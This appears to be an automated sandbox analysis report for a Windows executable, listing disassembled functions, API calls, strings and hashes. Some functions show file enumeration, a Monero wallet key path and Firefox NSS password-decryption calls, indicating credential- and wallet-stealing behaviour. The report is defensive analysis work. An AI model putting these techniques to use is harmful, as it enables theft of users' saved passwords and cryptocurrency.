Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: d4ba6dce446b93a689b72c6681a37d08f8ae5f0ed0bf8e7c5b9e964bbf45c471
Instruction ID: 6b32dcbabd2ae606338a05af88a65253e6d0136fcb4401239c8972690a9ca057
Opcode Fuzzy Hash: d4ba6dce446b93a689b72c6681a37d08f8ae5f0ed0bf8e7c5b9e964bbf45c471
Instruction Fuzzy Hash: 45A182B5A40218ABDB20DFA4DC85FEA7379BF45301F04458DB50D96181EB789B84CF66

Function 00414570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
RtlAllocateHeap.NTDLL(00000000), ref: 00414587
wsprintfA.USER32 ref: 004145A6
FindFirstFileA.KERNEL32(?,?), ref: 004145BD
StrCmpCA.SHLWAPI(?,00420FC4), ref: 004145EB
StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414601
FindNextFileA.KERNEL32(000000FF,?), ref: 0041468B
FindClose.KERNEL32(000000FF), ref: 004146A0
lstrcat.KERNEL32(?,013FF9C8), ref: 004146C5
lstrcat.KERNEL32(?,013FE170), ref: 004146D8
lstrlen.KERNEL32(?), ref: 004146E5
lstrlen.KERNEL32(?), ref: 004146F6

Strings

%s\%s, xrefs: 0041461B
%s\*, xrefs: 0041459A

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: bfef477b34bbb94a3b9c1e5817c223a193db2cc59b8aa35168d9702886fd67ac
Instruction ID: 82eaf0d031878973a8df5e9a00467f3300e65aa4f81b4767f6d66ede98fc483b
Opcode Fuzzy Hash: bfef477b34bbb94a3b9c1e5817c223a193db2cc59b8aa35168d9702886fd67ac
Instruction Fuzzy Hash: 195177B5950218ABC720EBB0DC89FEE737DAB54304F40458DB60996190EB789BC58F96

Function 0040ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0040ED55
StrCmpCA.SHLWAPI(?,00421538), ref: 0040EDAB
StrCmpCA.SHLWAPI(?,0042153C), ref: 0040EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0040F2AE
FindClose.KERNEL32(000000FF), ref: 0040F2C3

Strings

%s\*.*, xrefs: 0040ED32

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 7027618aaa2eb8b8184da77d1339e8fa093a655e12bed3b8e24af172d20af597
Instruction ID: 3007dda49b16e6c87372febce5c45cbfe381bf5ef72a3521d52464c3f4e34f22
Opcode Fuzzy Hash: 7027618aaa2eb8b8184da77d1339e8fa093a655e12bed3b8e24af172d20af597
Instruction Fuzzy Hash: 41E13571912118AADB14FB61CD51EEE7338AF54314F4045EEB40A62092EF386FDACF69

Function 0040DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00420C2E), ref: 0040DE5E
StrCmpCA.SHLWAPI(?,004214C8), ref: 0040DEAE
StrCmpCA.SHLWAPI(?,004214CC), ref: 0040DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E3E0
FindClose.KERNEL32(000000FF), ref: 0040E3F2

Strings

\*.*, xrefs: 0040DE26

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 58cfe9a6bad55b6f013a53ecb443fc8fc42f6ef1c704918a74feadc974ce3597
Instruction ID: cfdc3591377451865113f0b5848cbea5bd15bf7eccde512516250cd90852f391
Opcode Fuzzy Hash: 58cfe9a6bad55b6f013a53ecb443fc8fc42f6ef1c704918a74feadc974ce3597
Instruction Fuzzy Hash: 5CF1D0718111189ADB15FB61DD95EEE7338AF14314F8045EFA00A62091EF386BDACF69

Function 0040C820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0040C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C87C
PK11_GetInternalKeySlot.NSS3 ref: 0040C88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C8EB
lstrcat.KERNEL32(?,00420B46), ref: 0040C943
lstrcat.KERNEL32(?,00420B47), ref: 0040C957
PK11_FreeSlot.NSS3(?), ref: 0040C961
lstrcat.KERNEL32(?,00420B4E), ref: 0040C978

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: 8b8f8231bec581b0b8fff58ddf21c0c8dfd2b50af0b2e118c33ab1c3150c5751
Instruction ID: deb55487f61e14152d8935527d0a93490931d050b9d0264e22c11082f516cca7
Opcode Fuzzy Hash: 8b8f8231bec581b0b8fff58ddf21c0c8dfd2b50af0b2e118c33ab1c3150c5751
Instruction Fuzzy Hash: D04182B894421AEFDB10DFD0DD89BFEB7B8BB44304F1042A9E509A6280D7745A84CF95

Function 007BB9F9 Relevance: 12.9, Strings: 9, Instructions: 1657COMMON

Download Yara Rule

Strings

,z1Z, xrefs: 007BBC4B
.qv, xrefs: 007BC5E6
C{{u, xrefs: 007BC3D4
5tk5, xrefs: 007BC064
{#k?, xrefs: 007BC9F1
g, xrefs: 007BBAB0
e3{, xrefs: 007BC803
h-{q, xrefs: 007BCAD4
h-{q, xrefs: 007BCAF4

Memory Dump Source

Source File: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ,z1Z$.qv$5tk5$C{{u$e3{$h-{q$h-{q${#k?$g
API String ID: 0-3288851566
Opcode ID: b696f992f8d0d85365ab323ef564847186a6c631d1c7e6894897dadfb67985fa
Instruction ID: 60984c8e3760c763668e44112437514d7aa7f8596a0553b00b1b91095b58abde
Opcode Fuzzy Hash: b696f992f8d0d85365ab323ef564847186a6c631d1c7e6894897dadfb67985fa
Instruction Fuzzy Hash: 72B2F7F3A0C2049FE3046E2DEC8567ABBE5EF94320F1A493DEAC5C3744EA7558058697

Function 007B9E4F Relevance: 12.8, Strings: 9, Instructions: 1595COMMON

Download Yara Rule

Strings

hd~, xrefs: 007B9F66
I\m|, xrefs: 007B9F81
gW5, xrefs: 007BA9B4
|hzq, xrefs: 007BA424
g+Wz, xrefs: 007BA89A
}=, xrefs: 007BADA7
WGx, xrefs: 007BABC7
|o, xrefs: 007BA678
%OUo, xrefs: 007BAD24

Memory Dump Source

Source File: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %OUo$I\m|$WGx$g+Wz$gW5$hd~$|hzq$|o$}=
API String ID: 0-1747040897
Opcode ID: 136529fbe58b81a825a0e85066f4300380b53cb23b18d467fa1a9624f3d0c82d
Instruction ID: 7976620609b68f01e6b3234a6fbebb93f28e05e00b0daddba8987d2ae2ee4dd8
Opcode Fuzzy Hash: 136529fbe58b81a825a0e85066f4300380b53cb23b18d467fa1a9624f3d0c82d
Instruction Fuzzy Hash: F5B207F3A082009FD304AE2DEC8567ABBE5EF94720F1A893DE6C4C7744E63598458797

Function 007C780B Relevance: 11.6, Strings: 8, Instructions: 1628COMMON

Download Yara Rule

Strings

u7W3, xrefs: 007C7EA4
&_, xrefs: 007C8010
RC|j, xrefs: 007C8000
aI^, xrefs: 007C836F
`, xrefs: 007C8406
rqsx, xrefs: 007C80FA
d_x, xrefs: 007C84F8
cx}O, xrefs: 007C8308

Memory Dump Source

Source File: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: RC|j$aI^$cx}O$d_x$rqsx$u7W3$&_$`
API String ID: 0-574209035
Opcode ID: 13fa14e29a66e09a8d00fd2be82238766414025fd741eadc4d24831e3a738eaa
Instruction ID: f9acc5ec870d854e8a967456c30b039bfb6fbf0d8a18b2b22ae0879934a156c0
Opcode Fuzzy Hash: 13fa14e29a66e09a8d00fd2be82238766414025fd741eadc4d24831e3a738eaa
Instruction Fuzzy Hash: BEB239F3A0C2049FE3046E2DEC8567ABBE9EFD4720F1A453DEAC5C7744EA3558018696

Function 007C0ADF Relevance: 10.4, Strings: 7, Instructions: 1657COMMON

Download Yara Rule

Strings

oge, xrefs: 007C1503
pK~~, xrefs: 007C111C
Kiy, xrefs: 007C0ED1
J?, xrefs: 007C1638
;|eO, xrefs: 007C1E32
>fk?, xrefs: 007C1C1A
Rh[{, xrefs: 007C14D9

Memory Dump Source

Source File: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
